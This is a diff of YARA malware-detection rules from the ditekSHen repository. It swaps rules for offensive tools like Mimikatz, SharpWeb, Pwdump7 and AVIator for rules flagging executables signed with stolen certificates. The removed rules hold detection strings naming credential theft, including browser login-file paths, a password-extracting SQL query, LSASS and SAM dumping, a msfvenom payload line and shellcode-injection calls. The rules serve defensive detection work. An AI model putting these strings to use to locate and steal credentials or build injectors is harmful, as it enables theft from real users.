 		author = "ditekSHen"
-		id = "2759fce2-db2a-5a48-bb37-931fd847a32d"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "85a7c3f7-a449-54ad-aac4-53f2a2c6c30e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L64-L81"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1637-L1648"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fdccd91a84374f7c94843bd9c2191720959416acf2e33d7b28b42d63d7ea4ce3"
+		logic_hash = "db3c854b68387aa5c6976783e6f79f99fe3389344b64d38c603d298128193e12"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "dumping server %s" ascii
-		$s2 = "dump on server %s" ascii
-		$s3 = "dump passwords: %s" ascii
-		$s4 = "Dumping cache" nocase ascii
-		$s5 = "SECURITY\\Cache" ascii
-		$s6 = "LSASS.EXE process" ascii
-		$s7 = " AntiVirus " nocase ascii
-		$s8 = " IPC$ " ascii
-		$s9 = "Exec failed, GetLastError returned %d" fullword ascii
-		$10 = "writable connection to %s" ascii
+		thumbprint = "d73229f3b7c2025a5a56e6e189be8a9120f1b3b0d8a78b7f62eff5c8d2293330"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Highweb Ireland Operations Limited" and pe.signatures[i].serial=="00:e0:4a:34:4b:39:7f:75:2a:45:b1:28:a5:94:a3:d6:b5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Sharpweb : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00A7989F8Be0C82D35A19E7B3Dd4Be30E5 : FILE
 {
 	meta:
-		description = "detects all versions of the browser password dumping .NET tool, SharpWeb."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f85dd689-c2a9-5cea-9c19-1e66ec942606"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "0bb81ddc-b63b-534b-852f-7b0a2feeef9e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L83-L110"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1650-L1661"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "036d576eb7acdededda7b31d3dda3a4928e01ff761bf45a1112da6bf7d4e2966"
+		logic_hash = "66d600d97b5aca1aa9a302671f06aef0d5c4ae9829d6cb16f191bd4c59462d2e"
 		score = 75
-		quality = 40
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$param1 = "logins" nocase wide
-		$param2 = "cookies" nocase wide
-		$param3 = "edge" nocase wide
-		$param4 = "firefox" nocase wide
-		$param5 = "chrome" nocase wide
-		$path1 = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" wide
-		$path2 = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" wide
-		$path3 = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" wide
-		$path4 = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks" wide
-		$sql1 = "UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;" nocase wide
-		$sql2 = "UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d" nocase wide
-		$sql3 = "SELECT action_url, username_value, password_value FROM logins" nocase wide
-		$func1 = "get_encryptedPassword" fullword ascii
-		$func2 = "<GetLogins>g__GetVaultElementValue0_0" fullword ascii
-		$func3 = "<encryptedPassword>k__BackingField" fullword ascii
-		$pdb = "\\SharpWeb\\obj\\Debug\\SharpWeb.pdb" fullword ascii
+		thumbprint = "3e93aadb509b542c065801f04cffb34956f84ee8c322d65c7ae8e23d27fe5fbf"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($func*) and 3 of ($param*) and (1 of ($path*) or 1 of ($sql*))) or $pdb)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Instamix Limited" and pe.signatures[i].serial=="00:a7:98:9f:8b:e0:c8:2d:35:a1:9e:7b:3d:d4:be:30:e5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Blackbone : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_39F56251Df2088223Cc03494084E6081 : FILE
 {
 	meta:
-		description = "detects Blackbone password dumping tool on Windows 7-10 operating system."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a6d9f9d1-75fb-51af-87ad-80b4e135e759"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "4b5c27e0-0b3e-52e6-a867-1c2adadf3af3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L112-L129"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1663-L1674"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e9dacd28accaef8a93ff8d3b5cf9437b3848791711a4a7118ab46d2bb6ca42d3"
+		logic_hash = "dc757f831b2537f12151f4f9e886ccf83bacfbcaea3ce12b2199f13ae00b199e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "BlackBone: %s: " ascii
-		$s2 = "\\BlackBoneDrv\\" ascii
-		$s3 = "\\DosDevices\\BlackBone" fullword wide
-		$s4 = "\\Temp\\BBImage.manifest" wide
-		$s5 = "\\Device\\BlackBone" fullword wide
-		$s6 = "BBExecuteInNewThread" fullword ascii
-		$s7 = "BBHideVAD" fullword ascii
-		$s8 = "BBInjectDll" fullword ascii
-		$s9 = "ntoskrnl.exe" fullword ascii
-		$s10 = "WDKTestCert Ton," ascii
+		thumbprint = "66f32cf78b8f685a2c6f5bf361c9b0f9a9678de11a8e7931e2205d0ef65af05c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Inter Med Pty. Ltd." and pe.signatures[i].serial=="39:f5:62:51:df:20:88:22:3c:c0:34:94:08:4e:60:81")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Mimikatz : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_009Cfbb4C69008821Aaacecde97Ee149Ab : FILE
 {
 	meta:
-		description = "Detects Mimikatz"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "feb236c0-6e0d-5c2c-a050-cf1d000aaf38"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "0b0d815b-2232-5159-9b78-9227d9b2ec11"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L131-L164"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1676-L1687"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "42c9c78c88bb7c427d5f0bf1d3b0113205780142b499eb17858037ded0f2971e"
+		logic_hash = "de04f12b1fb1e12860bf4ac077b700d180b8d412890922b75264319559fbd997"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "mimilib.dll" ascii
-		$s2 = "mimidrv.sys" ascii
-		$s3 = "mimikatz.exe" ascii
-		$s4 = "\\mimidrv.pdb" ascii
-		$s5 = "mimikatz" ascii
-		$s6 = { 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a }
-		$s7 = { 5c 00 6d 00 69 00 6d 00 69 00 64 00 72 00 76 }
-		$s8 = { 6d 00 69 00 6d 00 69 00 64 00 72 00 76 }
-		$s9 = "Lecture KIWI_MSV1_0_" ascii
-		$s10 = "Search for LSASS process" ascii
-		$f1 = "SspCredentialList" ascii
-		$f2 = "KerbGlobalLogonSessionTable" ascii
-		$f3 = "LiveGlobalLogonSessionList" ascii
-		$f4 = "TSGlobalCredTable" ascii
-		$f5 = "g_MasterKeyCacheList" ascii
-		$f6 = "l_LogSessList" ascii
-		$f7 = "lsasrv!" ascii
-		$f8 = "SekurLSA" ascii
-		$f9 = /Cached(Unlock|Interative|RemoteInteractive)/ ascii
-		$dll_1 = { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 }
-		$dll_2 = { c7 0? 10 02 00 00 ?? 89 4? }
-		$sys_x86 = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
-		$sys_x64 = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
+		thumbprint = "6c7e917a2cc2b2228d6d4a0556bda6b2db9f06691749d2715af9a6a283ec987b"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($*) or 3 of ($f*) or all of ($dll_*) or any of ($sys_*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kivaliz Prest s.r.l." and pe.signatures[i].serial=="00:9c:fb:b4:c6:90:08:82:1a:aa:ce:cd:e9:7e:e1:49:ab")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_SCN_Portscan : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_008Cff807Edaf368A60E4106906D8Df319 : FILE
 {
 	meta:
-		description = "Detects a port scanner tool observed as second or third stage post-compromise or dropped by malware."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f270e098-17a0-5d66-acd0-c946a29919f4"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "ad8bed7f-3bc6-53d3-9e7a-0868e2ad267a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L166-L180"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1689-L1700"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ebe5eb045a250ca38a55ac43018548074e9db160d76737c36f8ae5ea268b7b10"
+		logic_hash = "48752aff88cd3d546757a4220a64ca17cc9a5f00a42d2bc0571dedf5de769bc2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "HEAD / HTTP/1.0" fullword ascii
-		$s2 = "Result.txt" fullword ascii
-		$s3 = "Example: %s SYN " ascii
-		$s4 = "Performing Time: %d/%d/%d %d:%d:%d -->" fullword ascii
-		$s5 = "Bind On IP: %d.%d.%d.%d" fullword ascii
-		$s6 = "SYN Scan: About To Scan %" ascii
-		$s7 = "Normal Scan: About To Scan %" ascii
+		thumbprint = "c97d809c73f376cdf8062329b357b16c9da9d14261895cd52400f845a2d6bdb1"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KRAFT BOKS OOO" and pe.signatures[i].serial=="00:8c:ff:80:7e:da:f3:68:a6:0e:41:06:90:6d:8d:f3:19")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_MEM_Mxtract : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2924785Fd7990B2D510675176Dae2Bed : FILE
 {
 	meta:
-		description = "Detects mXtract, a linux-based tool that dumps memory for offensive pentration testing and can be used to scan memory for private keys, ips, and passwords using regexes."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e8c5e5b3-aa98-5f7f-9410-3efeef725f41"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "2aedb37c-8991-5750-b0c6-b9d6e7bb5e79"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L182-L195"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1702-L1713"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8271722c3b8f4458d20cf874d37e87e3b1fde701205ff54f0360fb87f717fc3f"
-		score = 50
-		quality = 69
+		logic_hash = "dbdd714575d3c5f9554026fea97c6e91073d30cf728396111a5106303bb7b624"
+		score = 75
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "_ZN18process_operations10get_rangesEv" fullword ascii
-		$s2 = "_ZN4misc10write_dumpESsSs" fullword ascii
-		$s3 = "_ZTVNSt8__detail13_Scanner_baseE" fullword ascii
-		$s4 = "Running as root is recommended as not all PIDs will be scanned" fullword ascii
-		$s5 = "ERROR ATTACHING TO PROCESS" fullword ascii
-		$s6 = "ERROR SCANNING MEMORY RANGE" fullword ascii
+		thumbprint = "adbc44fda783b5fa817f66147d911fb81a0e2032a1c1527d1b3adbe55f9d682d"
+		importance = 20
 
 	condition:
-		( uint32(0)==0x464c457f or uint16(0)==0x457f) and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Neoopt LLC" and pe.signatures[i].serial=="29:24:78:5f:d7:99:0b:2d:51:06:75:17:6d:ae:2b:ed")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Sniffpass : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_F2C4B99487Ed33396D77029B477494Bc : FILE
 {
 	meta:
-		description = "Detects SniffPass, a password monitoring software that listens on the network and captures passwords over POP3, IMAP4, SMTP, FTP, and HTTP."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b96498d4-bbe3-5cb8-9c24-91ebb51e078a"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "594a5def-2516-5639-a72b-9b84b65de1e0"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L197-L212"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1715-L1726"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9b56ee4bac39b4220b24e92d00076650ffe84b71a60c0213a84fcf21c6cfe4cf"
+		logic_hash = "109d71674b652a2f42bb2a45c877d3a6cbfe280d0324f9ac8fa746d322440694"
 		score = 75
-		quality = 75
-		tags = "FILE"
-
-	strings:
-		$s1 = "\\Release\\SniffPass.pdb" ascii
-		$s2 = "Password   Sniffer" fullword wide
-		$s3 = "Software\\NirSoft\\SniffPass" fullword ascii
-		$s4 = "Sniffed PasswordsCFailed to start" wide
-		$s5 = "Pwpcap.dll" fullword ascii
-		$s6 = "nmwifi.exe" fullword ascii
-		$s7 = "NmApi.dll" fullword ascii
-		$s8 = "npptools.dll" fullword ascii
+		quality = 75
+		tags = "FILE"
+		thumbprint = "f38abffd259919d68969b8b2d265afac503a53dd"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bedaabaefadfdfedcbbbebaaef" and pe.signatures[i].serial=="f2:c4:b9:94:87:ed:33:39:6d:77:02:9b:47:74:94:bc")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Avbypass_Aviator : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C54Cccff8Acceb9654B6F585E2442Ef7 : FILE
 {
 	meta:
-		description = "Detects AVIator, which is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. This was observed to bypass Win.Trojan.AZorult. This rule works for binaries and memory."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2bddd64e-baca-58cb-ba52-27487cc4ded5"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "c199b65f-5e95-5c6a-8ccc-7f343b867885"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L214-L240"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1728-L1739"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1fb497eec2b0cd4051b5ddd53463f1da511c0a7b72d54a0bc68736a99fdc6143"
+		logic_hash = "4be5e0f9f522f0d4096a63b001a02ea130ef56149dec7f0ac90be686b885cc4a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "msfvenom -p windows/meterpreter" ascii wide
-		$s2 = "payloadBox.Text" ascii wide
-		$s3 = "APCInjectionCheckBox" ascii wide
-		$s4 = "Thread Hijacking (Shellcode Arch: x86, OS Arch: x86)" ascii wide
-		$s5 = "injectExistingApp.Text" ascii wide
-		$s6 = "Stable execution but can be traced by most AVs" ascii wide
-		$s7 = "AV/\\tor" ascii wide
-		$s8 = "AvIator.Properties.Resources" ascii wide
-		$s9 = "Select injection technique" ascii wide
-		$s10 = "threadHijacking_option" ascii wide
-		$pwsh1 = "Convert.ToByte(Payload_Encrypted_Without_delimiterChar[" ascii wide
-		$pwsh2 = "[DllImport(\"kernel32.dll\", SetLastError = true)]" ascii wide
-		$pwsh3 = "IntPtr RtlAdjustPrivilege(" ascii wide
-		$pwsh4 = /InjectShellcode\.(THREADENTRY32|CONTEXT64|WriteProcessMemory\(|CloseHandle\(|CONTEXT_FLAGS|CONTEXT\(\);|Thread32Next\()/ ascii wide
-		$pwsh5 = "= Payload_Encrypted.Split(',');" ascii wide
-		$pwsh6 = "namespace NativePayload_Reverse_tcp" ascii wide
-		$pwsh7 = "byte[] Finall_Payload = Decrypt(KEY, _X_to_Bytes);" ascii wide
-		$pwsh8 = /ConstantsAndExtCalls\.(WriteProcessMemory\(|CreateRemoteThread\()/ ascii wide
+		thumbprint = "416c79fccc5f42260cd227fd831b001aca14bf0d"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and (3 of ($s*) or 2 of ($pwsh*))) or (3 of ($s*) or 2 of ($pwsh*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eadbebdebcc" and pe.signatures[i].serial=="c5:4c:cc:ff:8a:cc:eb:96:54:b6:f5:85:e2:44:2e:f7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Pwdump7 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_690910Dc89D7857C3500Fb74Bed2B08D : FILE
 {
 	meta:
-		description = "Detects Pwdump7 password Dumper"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "dc6ff544-b9de-547b-9fa8-7d0b32e9592d"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "d10931e2-8abb-592b-a070-3767f286bd74"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L242-L254"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1741-L1752"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f84ab69ecc6837a826dc8726785165b8135edf51a47fb5bbaf19dc589b3032bd"
+		logic_hash = "62a1be8435f73f3768030feb6b5917d9a8075e7abac52e654231ba9d16ccc374"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "savedump.dat" fullword ascii
-		$s2 = "Asd -_- _RegEnumKey fail!" fullword ascii
-		$s3 = "\\SAM\\" ascii
-		$s4 = "Unable to dump file %S" fullword ascii
-		$s5 = "NO PASSWORD" ascii
+		thumbprint = "dfeb986812ba9f2af6d4ff94c5d1128fa50787951c07b4088f099a5701f1a1a4"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 4 of them ) or ( all of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OLIMP STROI" and pe.signatures[i].serial=="69:09:10:dc:89:d7:85:7c:35:00:fb:74:be:d2:b0:8d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_LTM_Sharpexec : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Af9B523180F34A24Fcfd11B74E7D6Cd : FILE
 {
 	meta:
-		description = "Detects SharpExec lateral movement tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4373a052-9525-5b24-81a4-65cd68afcb6c"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "d9ef3746-8b8e-5259-bcc4-408e27bc8ce3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L256-L275"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1754-L1765"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "17ae5c9f0b22e8ecbbbcbe052e466d00cb7b62cff423688b5138209c52f0698d"
+		logic_hash = "e06c87bddfc4fbb8918b7b1d64ec66b810a5a0c635c34d820b33c3cf9789229c"
 		score = 75
-		quality = 23
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "fileUploaded" fullword ascii
-		$s2 = "$7fbad126-e21c-4c4e-a9f0-613fcf585a71" fullword ascii
-		$s3 = "DESKTOP_HOOKCONTROL" fullword ascii
-		$s4 = /WINSTA_(ACCESSCLIPBOARD|WINSTA_ALL_ACCESS)/ fullword ascii
-		$s5 = /NETBIND(ADD|DISABLE|ENABLE|REMOVE)/ fullword ascii
-		$s6 = /SERVICE_(ALL_ACCESS|WIN32_OWN_PROCESS|INTERROGATE)/ fullword ascii
-		$s7 = /(Sharp|PS|smb)Exec/ fullword ascii
-		$s8 = "lpszPassword" fullword ascii
-		$s9 = "lpszDomain" fullword ascii
-		$s10 = "wmiexec" fullword ascii
-		$s11 = "\\C$\\__LegitFile" wide
-		$s12 = "LOGON32_LOGON_NEW_CREDENTIALS" fullword ascii
+		thumbprint = "c8aec622951068734d754dc2efd7032f9ac572e26081ac38b8ceb333ccc165c9"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 9 of them ) or ( all of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ORBIS LTD" and pe.signatures[i].serial=="0a:f9:b5:23:18:0f:34:a2:4f:cf:d1:1b:74:e7:d6:cd")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PRV_Advancedrun : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00F4D2Def53Bccb0Dd2B7D54E4853A2Fc5 : FILE
 {
 	meta:
-		description = "Detects NirSoft AdvancedRun privialge escalation tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c886951a-7ee9-5d38-a724-3dbba8c6ec31"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "8c1970b7-10b5-5976-a89c-a0d30f4b04af"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L277-L289"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1767-L1778"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3f39e8f0629647f44a2f473d7b49a8b6adb1acd62de36420b80e7820e63854bb"
+		logic_hash = "0d9813d79f86ff22d5478469bee6cf457afe3780dd4308caa5da502faf816377"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "RunAsProcessName" fullword wide
-		$s2 = "Process ID/Name:" fullword wide
-		$s3 = "swinsta.dll" fullword wide
-		$s4 = "User of the selected process0Child of selected process (Using code injection) Specified user name and password" fullword wide
-		$s5 = "\"Current User - Allow UAC Elevation$Current User - Without UAC Elevation#Administrator (Force UAC Elevation)" fullword wide
+		thumbprint = "d5431403ba7b026666e72c675aac6c46720583a60320c5c2c0f74331fe845c35"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PETROYL GROUP, TOV" and pe.signatures[i].serial=="00:f4:d2:de:f5:3b:cc:b0:dd:2b:7d:54:e4:85:3a:2f:c5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Amady : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_56D576A062491Ea0A5877Ced418203A1 : FILE
 {
 	meta:
-		description = "Detects password stealer DLL. Dropped by Amadey"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6ee4e25b-bf38-5664-a08f-94e3fa92aa29"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "94e29354-b6bc-5936-abc8-2b42d2e65294"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L291-L306"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1780-L1791"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "409374bec5f58abeb7741b41f0fc7ea1c3fdc7bbc3f0c0628db0e3aac82836d1"
+		logic_hash = "877b773cb1bdc6c6c309374e95dc7eac4d525c681200169fcf492476f6335342"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\AppData" fullword ascii
-		$s2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" ascii
-		$s3 = "\\Mikrotik\\Winbox\\Addresses.cdb" fullword ascii
-		$s4 = "\\HostName" fullword ascii
-		$s5 = "\\Password" fullword ascii
-		$s6 = "SOFTWARE\\RealVNC\\" ascii
-		$s7 = "SOFTWARE\\TightVNC\\" ascii
-		$s8 = "cred.dll" fullword ascii
+		thumbprint = "b22e022f030cf1e760a7df84d22e78087f3ea2ed262a4b76c8b133871c58213b"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Silvo LLC" and pe.signatures[i].serial=="56:d5:76:a0:62:49:1e:a0:a5:87:7c:ed:41:82:03:a1")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_SCR_Amady : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4152169F22454Ed604D03555B7Afb175 : FILE
 {
 	meta:
-		description = "Detects screenshot stealer DLL. Dropped by Amadey"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
